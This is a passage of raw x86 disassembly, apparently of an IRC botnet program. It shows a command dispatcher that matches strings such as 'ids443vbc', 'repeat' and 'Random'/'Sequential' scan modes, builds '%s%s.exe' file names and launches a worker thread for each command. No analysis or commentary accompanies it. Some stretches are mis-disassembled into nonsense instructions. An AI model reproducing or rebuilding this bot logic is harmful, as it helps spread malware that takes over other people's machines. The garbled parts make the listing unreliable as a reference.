loc_40FF3E:				; CODE XREF: seg000:0040FEE8j
		mov	[ebp-2F0h], ebx


loc_40FF44:				; CODE XREF: seg000:0040FE6Bj
					; seg000:0040FF3Cj
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_415A6A
		mov	esi, [ebp+esi-7Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FF95


loc_40FF82:				; CODE XREF: seg000:0040FFB8j
		push	esi


loc_40FF83:				; CODE XREF: seg000:0040FFA2j
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_40FFC0
; ---------------------------------------------------------------------------


loc_40FF95:				; CODE XREF: seg000:0040FF80j
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40FFA4
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FFA4
		push	eax
		jmp	short loc_40FF83
; ---------------------------------------------------------------------------


loc_40FFA4:				; CODE XREF: seg000:0040FF9Aj
					; seg000:0040FF9Fj
		mov	esi, offset aCbb_0 ; "#cbb"
		push	offset byte_438FAC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF82
		mov	[ebp-3A0h], bl


loc_40FFC0:				; CODE XREF: seg000:0040FF93j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FFD2
		mov	eax, offset aSequential	; "Sequential"


loc_40FFD2:				; CODE XREF: seg000:0040FFCBj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434D00
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F95
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	40799Fh
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_410060


loc_41004A:				; CODE XREF: seg000:0041005Ej
		cmp	[ebp-2ECh], ebx
		jnz	loc_40F7B1
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41004A
; ---------------------------------------------------------------------------


loc_410060:				; CODE XREF: seg000:00410048j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434CB4
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_410071:				; CODE XREF: seg000:0040F488j
					; seg000:0040F49Fj
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_43F530[eax], bl
		jz	loc_412990
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	edi
		call	sub_415CF0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CF0
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_415CF0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		lea	eax, [ebp-2C8h]
		push	esi
		push	offset dword_434CA8
		push	eax
		call	sub_4154E9
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_412990
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_412990
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412990
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F524[eax]
		call	sub_412D4E
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_43F318[eax], 73h
		jnz	loc_412990
		push	esi
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F530
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_410159:				; CODE XREF: seg000:00410256j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E


loc_41017E:				; CODE XREF: seg000:004120F6j
		add	esp, 28h
		jmp	loc_412990
; ---------------------------------------------------------------------------


loc_410186:				; CODE XREF: seg000:0040F45Aj
					; seg000:0040F471j
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_43F530[eax], bl
		jz	loc_412990
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	edi
		call	sub_415CF0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CF0
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_415CF0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_412990
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_412990
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412990
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F524[eax]
		call	sub_412D4E
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_43F318[eax], 73h
		jnz	loc_412990
		push	esi
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F530
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_410159
; ---------------------------------------------------------------------------


loc_41025B:				; CODE XREF: seg000:0040F42Cj
					; seg000:0040F443j
		push	edi
		call	ds:dword_43A3C8
		push	dword ptr [ebp+20h]
		mov	[ebp-460h], eax
		call	sub_415A5F
		push	dword ptr [ebp+8]
		mov	[ebp-46Ch], eax
		call	sub_415A5F
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-468h], eax
		lea	eax, [ebp-4ECh]
		mov	[ebp-4F0h], esi
		push	eax
		call	sub_416D40
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-458h], edi
		push	dword ptr [ebp-468h]
		mov	[ebp-454h], eax
		push	dword ptr [ebp-46Ch]
		push	dword ptr [ebp-460h]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434C38
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	[ebp-464h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F0h]
		push	ebx
		push	eax
		push	offset sub_41456B
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-464h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_41033D


loc_410327:				; CODE XREF: seg000:0041033Bj
		cmp	[ebp-450h], ebx
		jnz	loc_411F0F
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410327
; ---------------------------------------------------------------------------


loc_41033D:				; CODE XREF: seg000:00410325j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434BE8
		jmp	loc_411F00
; ---------------------------------------------------------------------------


loc_41034E:				; CODE XREF: seg000:0040F3FEj
					; seg000:0040F415j
		push	edi
		call	sub_415A5F
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416D40
		push	dword ptr [ebp+8]
		call	sub_415A5F
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_415A6A
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434B98
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	10h
		push	eax
		call	sub_414F95
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset sub_407BFE
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_410437


loc_410421:				; CODE XREF: seg000:00410435j
		cmp	[ebp-2ECh], ebx
		jnz	loc_411F0F
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410421
; ---------------------------------------------------------------------------


loc_410437:				; CODE XREF: seg000:0041041Fj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B44
		jmp	loc_411F00
; ---------------------------------------------------------------------------


loc_410448:				; CODE XREF: seg000:0040F3D0j
					; seg000:0040F3E7j
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_416D40
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D40
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_415A5F
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4104A4
		push	10h
		push	ebx
		push	eax
		call	sub_416A89
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_4104AA
; ---------------------------------------------------------------------------


loc_4104A4:				; CODE XREF: seg000:0041048Ej
		mov	[ebp-578h], ebx


loc_4104AA:				; CODE XREF: seg000:004104A2j
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	short loc_4104C1
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_4104C7
; ---------------------------------------------------------------------------


loc_4104C1:				; CODE XREF: seg000:004104B0j
		mov	[ebp-57Ch], ebx


loc_4104C7:				; CODE XREF: seg000:004104BFj
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_416D40
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset unk_434B04
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp-2C8h]
		push	15h
		push	eax
		call	sub_414F95
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_40BCEF
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_410575


loc_41055F:				; CODE XREF: seg000:00410573j
		cmp	[ebp-568h], ebx
		jnz	loc_40FBE8
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41055F
; ---------------------------------------------------------------------------


loc_410575:				; CODE XREF: seg000:0041055Dj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434AB0
		jmp	loc_410778
; ---------------------------------------------------------------------------


loc_410586:				; CODE XREF: seg000:0040F3A2j
					; seg000:0040F3B9j
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D40
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset dword_434A70
		push	eax
		mov	[ebp-570h], esi
		call	sub_4154E9
		add	esp, 44h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Bh
		push	eax
		call	sub_414F95
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_410659


loc_410647:				; CODE XREF: seg000:00410657j
		cmp	[ebp-568h], ebx
		jnz	short loc_410674
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410647
; ---------------------------------------------------------------------------


loc_410659:				; CODE XREF: seg000:00410645j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434A24
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_410674:				; CODE XREF: seg000:0041064Dj
		cmp	[ebp-8], ebx
		jnz	loc_412850
		push	ebx
		push	esi
		jmp	loc_40F7BE
; ---------------------------------------------------------------------------


loc_410684:				; CODE XREF: seg000:0040F35Dj
					; seg000:0040F374j ...
		push	7Fh
		lea	eax, [ebp-7F0h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp-770h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp-6F0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp-670h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D40
		push	20h
		lea	eax, [ebp-5F0h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_416D40
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_4349E0
		push	eax
		mov	[ebp-7F8h], esi
		call	sub_4154E9
		add	esp, 50h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Ah
		push	eax
		call	sub_414F95
		add	esp, 0Ch
		mov	[ebp-7F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-7F8h]
		push	ebx
		push	eax
		push	offset start
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-7F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_41076C


loc_410756:				; CODE XREF: seg000:0041076Aj
		cmp	[ebp-568h], ebx
		jnz	loc_40FBE8
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410756
; ---------------------------------------------------------------------------


loc_41076C:				; CODE XREF: seg000:00410754j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434994


loc_410778:				; CODE XREF: seg000:0040FBCAj
					; seg000:0040FD15j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		jmp	loc_40FBE5
; ---------------------------------------------------------------------------


loc_410789:				; CODE XREF: seg000:0040F32Fj
					; seg000:0040F346j
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_416D40
		push	dword ptr [ebp+20h]
		call	sub_415A5F
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_416D40
		mov	esi, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4107D7
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_4107D7:				; CODE XREF: seg000:004107C3j
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434950
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	17h
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_40CB75
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_410863


loc_41084D:				; CODE XREF: seg000:00410861j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40F713
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41084D
; ---------------------------------------------------------------------------


loc_410863:				; CODE XREF: seg000:0041084Bj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434904
		jmp	loc_40F704
; ---------------------------------------------------------------------------


loc_410874:				; CODE XREF: seg000:0040F2EFj
					; seg000:0040F306j
		push	dword ptr [ebp+20h]
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_410965
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_415A6A
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_415A6A
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		push	edi
		push	offset unk_4348C4
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Dh
		push	eax
		call	sub_414F95
		add	esp, 38h
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401447
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_410954


loc_41093E:				; CODE XREF: seg000:00410952j
		cmp	[ebp-568h], ebx
		jnz	loc_40F7B1
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41093E
; ---------------------------------------------------------------------------


loc_410954:				; CODE XREF: seg000:0041093Cj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434878
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_410965:				; CODE XREF: seg000:00410885j
		push	offset unk_43482C
		jmp	loc_41202E
; ---------------------------------------------------------------------------


loc_41096F:				; CODE XREF: seg000:0040F2C1j
					; seg000:0040F2D8j
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 0A80000h
		test	eax, 1F74C085h
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_4347F4
		push	200h
		push	eax
		call	sub_415A6A
		jmp	loc_4111BF
; ---------------------------------------------------------------------------
		push	offset dword_4347D4
		call	loc_409C08
		push	eax
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------


loc_4109C0:				; CODE XREF: seg000:0040F293j
					; seg000:0040F2AAj
		push	edi
		lea	eax, [ebp-77Ch]
		push	104h
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		cmp	[ebp-0Ch], ebx
		jz	short loc_4109FA
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4109FA
		push	eax
		lea	eax, [ebp-678h]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_4109FA:				; CODE XREF: seg000:004109D8j
					; seg000:004109E9j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-7FCh]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+0Ch]
		mov	[ebp-800h], eax
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-678h]
		push	eax
		lea	eax, [ebp-77Ch]
		push	eax
		push	offset unk_434790
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Bh
		push	eax
		call	sub_414F95
		add	esp, 2Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-800h]
		push	ebx
		push	eax
		push	offset sub_408788
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_410AAD


loc_410A97:				; CODE XREF: seg000:00410AABj
		cmp	[ebp-568h], ebx
		jnz	loc_412850
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410A97
; ---------------------------------------------------------------------------


loc_410AAD:				; CODE XREF: seg000:00410A95j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434740
		jmp	loc_412841
; ---------------------------------------------------------------------------


loc_410ABE:				; CODE XREF: seg000:0040F265j
					; seg000:0040F27Cj
		push	44h
		lea	eax, [ebp-48Ch]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		push	1
		mov	[ebp-48Ch], esi
		pop	esi
		mov	[ebp-45Ch], bx
		push	edi
		mov	[ebp-460h], esi
		call	sub_415A5F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_410AFB
		mov	word ptr [ebp-45Ch], 5


loc_410AFB:				; CODE XREF: seg000:00410AF0j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F713
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F713
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-48Ch]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 0A80000h
		push	esp
		test	eax, eax
		jnz	short loc_410B54
		push	offset unk_434708


loc_410B41:				; CODE XREF: seg000:00410CD8j
					; seg000:0041136Bj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	loc_40F713
; ---------------------------------------------------------------------------


loc_410B54:				; CODE XREF: seg000:00410B3Aj
		push	edi
		push	offset dword_4346DC
		jmp	loc_40F704
; ---------------------------------------------------------------------------


loc_410B5F:				; CODE XREF: seg000:0040F237j
					; seg000:0040F24Ej
		push	dword ptr [ebp+20h]
		push	offset aIds443vbc ; "ids443vbc"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CD3
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 0A80000h
		inc	esp
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_416D40
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_414128
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		lea	eax, [ebp-688h]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4154E9
		mov	eax, [ebp+esi-88h]
		add	esp, 20h
		cmp	eax, ebx
		mov	dword ptr [ebp-584h], 1
		mov	[ebp-580h], ebx
		jz	short loc_410BF1
		push	10h
		push	ebx
		push	eax
		call	sub_416A89
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_410BF7
; ---------------------------------------------------------------------------


loc_410BF1:				; CODE XREF: seg000:00410BDBj
		mov	[ebp-578h], ebx


loc_410BF7:				; CODE XREF: seg000:00410BEFj
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		jz	short loc_410C11
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_410C17
; ---------------------------------------------------------------------------


loc_410C11:				; CODE XREF: seg000:00410C00j
		mov	[ebp-57Ch], ebx


loc_410C17:				; CODE XREF: seg000:00410C0Fj
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_416D40
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434690
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp-2C8h]
		push	16h
		push	eax
		call	sub_414F95
		add	esp, 24h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_40BCEF
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_410CC2


loc_410CAC:				; CODE XREF: seg000:00410CC0j
		cmp	[ebp-568h], ebx
		jnz	loc_40F713
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410CAC
; ---------------------------------------------------------------------------


loc_410CC2:				; CODE XREF: seg000:00410CAAj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434640
		jmp	loc_40F704
; ---------------------------------------------------------------------------


loc_410CD3:				; CODE XREF: seg000:00410B70j
		push	offset unk_4345E8
		jmp	loc_410B41
; ---------------------------------------------------------------------------


loc_410CDD:				; CODE XREF: seg000:0040F209j
					; seg000:0040F220j
		push	dword ptr [ebp-90h]
		push	offset dword_436458
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		cmp	[ebp-0Ch], ebx
		jz	loc_40D219
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345D8
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D40
		push	edi
		call	sub_415A5F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410D64
		push	edi
		call	sub_415A5F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_421060	; Sleep


loc_410D64:				; CODE XREF: seg000:00410D4Ej
		push	offset dword_4345B0
		call	sub_40B16D
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_410D78:				; CODE XREF: seg000:0040F1DBj
					; seg000:0040F1F2j
		push	dword ptr [ebp-90h]
		push	offset dword_436458
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_415910
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_410E34
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345D8
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D40
		push	esi
